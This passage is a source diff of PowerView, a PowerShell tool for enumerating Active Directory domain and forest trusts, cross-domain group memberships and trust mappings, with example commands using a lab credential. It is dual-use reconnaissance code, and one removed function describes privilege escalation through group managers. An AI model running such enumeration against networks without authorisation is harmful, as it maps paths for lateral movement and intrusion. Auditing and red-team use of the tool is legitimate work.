Noteproperty 'TrustType' $Info.TrustType - $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes - $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString - $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid - $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') - $DomainTrust - } + if ($Result -eq 0) { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString + $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') + $DomainTrust } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { - Write-Verbose "Could not retrieve domain controller for $Domain" + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { - # if we're using direct domain connections through .NET - $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { + # if we're searching for domain trusts through .NET methods + $FoundDomain = Get-Domain @NetSearcherArguments + if ($FoundDomain) { $FoundDomain.GetAllTrustRelationships() | ForEach-Object { - $_.PSObject.TypeNames.Add('PowerView.DomainTrust') + $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') $_ } } @@ -12754,50 +17679,83 @@ function Get-NetDomainTrust { } -function Get-NetForestTrust { +function Get-ForestTrust { <# - .SYNOPSIS +.SYNOPSIS + +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +.PARAMETER Forest + +Specifies the forest to query for trusts, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE - Return all trusts for the current forest. +Get-ForestTrust - .PARAMETER Forest +Return current forest trusts. - Return trusts for the specified forest. +.EXAMPLE - .PARAMETER Credential +Get-ForestTrust -Forest "external.local" - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Return trusts for the "external.local" forest. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetForestTrust +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred - Return current forest trusts. +Return trusts for the "external.local" forest using the specified alternate credenitals. - .EXAMPLE +.OUTPUTS - PS C:\> Get-NetForestTrust -Forest "test" +PowerView.DomainTrust.NET - Return trusts for the "test" forest. +A TrustRelationshipInformationCollection returned when using .NET methods (default). #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForestTrust.NET')] [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - process { - $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + PROCESS { + $NetForestArguments = @{} + if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } + + $FoundForest = Get-Forest @NetForestArguments - if($FoundForest) { + if ($FoundForest) { $FoundForest.GetAllTrustRelationships() | ForEach-Object { - $_.PSObject.TypeNames.Add('PowerView.ForestTrust') + $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') $_ } } @@ -12805,391 +17763,593 @@ function Get-NetForestTrust { } -function Find-ForeignUser { +function Get-DomainForeignUser { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +.DESCRIPTION + +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Enumerates users who are in groups outside of their - principal domain. The -Recurse option will try to map all - transitive domain trust relationships and enumerate all - users who are in groups outside of their principal domain. +.PARAMETER ResultPageSize - .PARAMETER UserName +Specifies the PageSize to set for the LDAP searcher object. - Username to filter results for, wildcards accepted. +.PARAMETER ServerTimeLimit - .PARAMETER Domain +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Domain to query for users, defaults to the current domain. +.PARAMETER SecurityMasks - .PARAMETER DomainController +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - Domain controller to reflect LDAP queries through. +.PARAMETER Tombstone - .PARAMETER LDAP +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +.PARAMETER Credential - .PARAMETER Recurse +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Switch. Enumerate all user trust groups from all reachable domains recursively. +.EXAMPLE - .PARAMETER PageSize +Get-DomainForeignUser - The PageSize to set for the LDAP searcher object. +Return all users in the current domain who are in groups not in the +current domain. - .LINK +.EXAMPLE - http://blog.harmj0y.net/ +Get-DomainForeignUser -Domain dev.testlab.local + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignUser + +Custom PSObject with translated user property fields. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignUser')] [CmdletBinding()] - param( + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] - $UserName, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $Domain, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, - [Switch] - $LDAP, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $Recurse, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ResultPageSize = 200, - function Get-ForeignUser { - # helper used to enumerate users who are in groups outside of their principal domain - param( - [String] - $UserName, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - [String] - $Domain, + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, - [String] - $DomainController, + [Switch] + $Tombstone, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - if ($Domain) { - # get the domain name into distinguished form - $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(memberof=*)' + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name + } + elseif ($Env:USERDNSDOMAIN) { + $TargetDomain = $Env:USERDNSDOMAIN } else { - $DistinguishedDomainName = [String] ([adsi]'').distinguishedname - $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' + throw "[Get-DomainForeignUser] No domain found to enumerate!" } - Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object { + Get-DomainUser @SearcherArguments | ForEach-Object { ForEach ($Membership in $_.memberof) { - $Index = $Membership.IndexOf("DC=") - if($Index) { - - $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' - - if ($GroupDomain.CompareTo($Domain)) { - # if the group domain doesn't match the user domain, output - $GroupName = $Membership.split(",")[0].split("=")[1] + $Index = $Membership.IndexOf('DC=') + if ($Index) { + + $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain -ne $TargetDomain) { + # if the group domain doesn't match the user domain, display it + $GroupName = $Membership.Split(',')[0].split('=')[1] $ForeignUser = New-Object PSObject - $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName - $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership + $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') $ForeignUser } } } } } - - if ($Recurse) { - # get all rechable domains in the trust mesh and uniquify them - if($LDAP -or $DomainController) { - $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - else { - $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - - ForEach($DomainTrust in $DomainTrusts) { - # get the trust groups for each domain in the trust mesh - Write-Verbose "Enumerating trust groups in domain $DomainTrust" - Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize - } - } - else { - Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize - } } -function Find-ForeignGroup { +function Get-DomainForeignGroupMember { <# - .SYNOPSIS +.SYNOPSIS - Enumerates all the members of a given domain's groups - and finds users that are not in the queried domain. - The -Recurse flag will perform this enumeration for all - eachable domain trusts. +Enumerates groups with users outside of the group's domain and returns +each foreign member. This is a domain's "incoming" access. - .PARAMETER GroupName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup - Groupname to filter results for, wildcards accepted. +.DESCRIPTION - .PARAMETER Domain +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. - Domain to query for groups, defaults to the current domain. +.PARAMETER Domain - .PARAMETER DomainController +Specifies the domain to use for the query, defaults to the current domain. - Domain controller to reflect LDAP queries through. +.PARAMETER LDAPFilter - .PARAMETER LDAP +Specifies an LDAP query string that is used to filter Active Directory objects. - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +.PARAMETER Properties - .PARAMETER Recurse +Specifies the properties of the output object to retrieve from the server. - Switch. Enumerate all group trust users from all reachable domains recursively. +.PARAMETER SearchBase - .PARAMETER PageSize +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - The PageSize to set for the LDAP searcher object. +.PARAMETER Server - .LINK +Specifies an Active Directory server (domain controller) to bind to. - http://blog.harmj0y.net/ -#> +.PARAMETER SearchScope - [CmdletBinding()] - param( - [String] - $GroupName = '*', +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - [String] - $Domain, +.PARAMETER ResultPageSize - [String] - $DomainController, +Specifies the PageSize to set for the LDAP searcher object. - [Switch] - $LDAP, +.PARAMETER ServerTimeLimit - [Switch] - $Recurse, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) +.PARAMETER SecurityMasks - function Get-ForeignGroup { - param( - [String] - $GroupName = '*', +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - [String] - $Domain, +.PARAMETER Tombstone - [String] - $DomainController, +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) +.PARAMETER Credential - if(-not $Domain) { - $Domain = (Get-NetDomain).Name - } +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" - Write-Verbose "DomainDN: $DomainDN" +.EXAMPLE - # standard group names to ignore - $ExcludeGroups = @("Users", "Domain Users", "Guests") +Get-DomainForeignGroupMember - # get all the groupnames for the given domain - Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object { - # exclude common large groups - -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { - - $GroupName = $_.samAccountName +Return all group members in the current domain where the group and member differ. - $_.member | ForEach-Object { - # filter for foreign SIDs in the cn field for users in another domain, - # or if the DN doesn't end with the proper DN for the queried domain - if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { +.EXAMPLE - $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $UserName = $_.split(",")[0].split("=")[1] +Get-DomainForeignGroupMember -Domain dev.testlab.local - $ForeignGroupUser = New-Object PSObject - $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain - $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName - $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName - $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ - $ForeignGroupUser - } - } - } +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignGroupMember')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(member=*)' + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } } - if ($Recurse) { - # get all rechable domains in the trust mesh and uniquify them - if($LDAP -or $DomainController) { - $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name + } + elseif ($Env:USERDNSDOMAIN) { + $TargetDomain = $Env:USERDNSDOMAIN } else { - $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + throw "[Get-DomainForeignGroupMember] No domain found to enumerate!" } - ForEach($DomainTrust in $DomainTrusts) { - # get the trust groups for each domain in the trust mesh - Write-Verbose "Enumerating trust groups in domain $DomainTrust" - Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + # standard group names to ignore + $ExcludeGroups = @('Users', 'Domain Users', 'Guests') + $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))" + + Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object { + $GroupName = $_.samAccountName + $GroupDistinguishedName = $_.distinguishedname + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) { + + $MemberDistinguishedName = $_ + $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $MemberName = $_.Split(',')[0].split('=')[1] + + $ForeignGroupMember = New-Object PSObject + $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain + $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName + $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') + $ForeignGroupMember + } + } } } - else { - Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize - } } -function Find-ManagedSecurityGroups { +function Get-DomainTrustMapping { <# - .SYNOPSIS +.SYNOPSIS - This function retrieves all security groups in the domain and identifies ones that - have a manager set. It also determines whether the manager has the ability to add - or remove members from the group. +This function enumerates all trusts for the current domain and then enumerates +all trusts for each domain it finds. - Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com> - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust - .EXAMPLE +.DESCRIPTION - PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv +This function will enumerate domain trust relationships for the current domain using +a number of methods, and then enumerates all trusts for each found domain, recursively +mapping all reachable trust relationships. By default, the .NET method GetAllTrustRelationships() +is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag +is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter +'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the +Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. - Store a list of all security groups with managers in group-managers.csv +.PARAMETER API - .DESCRIPTION +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. - Authority to manipulate the group membership of AD security groups and distribution groups - can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically - used to delegate management authority to distribution groups, but Windows supports security groups - being managed in the same way. +.PARAMETER LDAP - This function searches for AD groups which have a group manager set, and determines whether that - user can manipulate group membership. This could be a useful method of horizontal privilege - escalation, especially if the manager can manipulate the membership of a privileged group. +Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - .LINK +.PARAMETER LDAPFilter - https://github.com/PowerShellEmpire/Empire/pull/119 +Specifies an LDAP query string that is used to filter Active Directory objects. -#> +.PARAMETER Properties - # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { +Specifies the properties of the output object to retrieve from the server. - # Retrieve the object that the managedBy DN refers to - $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname +.PARAMETER SearchBase - # Create a results object to store our findings - $results_object = New-Object -TypeName PSObject -Property @{ - 'GroupCN' = $_.cn - 'GroupDN' = $_.distinguishedname - 'ManagerCN' = $group_manager.cn - 'ManagerDN' = $group_manager.distinguishedName - 'ManagerSAN' = $group_manager.samaccountname - 'ManagerType' = '' - 'CanManagerWrite' = $FALSE - } +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - # Determine whether the manager is a user or a group - if ($group_manager.samaccounttype -eq 0x10000000) { - $results_object.ManagerType = 'Group' - } elseif ($group_manager.samaccounttype -eq 0x30000000) { - $results_object.ManagerType = 'User' - } +.PARAMETER Server - # Find the ACLs that relate to the ability to write to the group - $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers +Specifies an Active Directory server (domain controller) to bind to. - # Double-check that the manager - if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { - $results_object.CanManagerWrite = $TRUE - } - $results_object - } -} +.PARAMETER SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). -function Invoke-MapDomainTrust { -<# - .SYNOPSIS +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential - This function gets all trusts for the current domain, - and tries to get all trusts for each domain it finds. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER LDAP +.EXAMPLE - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv - .PARAMETER DomainController +Map all reachable domain trusts using .NET methods and output everything to a .csv file. - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER PageSize +Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv - The PageSize to set for the LDAP searcher object. +Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv - .EXAMPLE +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries, +and output everything to a .csv file. - PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv - - Map all reachable domain trusts and output everything to a .csv file. +.EXAMPLE - .LINK +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv - http://blog.harmj0y.net/ +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries +using the specified alternate credentials, and output everything to a .csv file. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. #> - [CmdletBinding()] - param( + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'NET')] + Param( + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'LDAP')] [Switch] $LDAP, + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, - [ValidateRange(1,10000)] + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) # keep track of domains seen so we don't hit infinite recursion @@ -13198,73 +18358,74 @@ function Invoke-MapDomainTrust { # our domain status tracker $Domains = New-Object System.Collections.Stack + $DomainTrustArguments = @{} + if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } + if ($PSBoundParameters['LDAP']) { $DomainTrustArguments['LDAP'] = $LDAP } + if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } + if 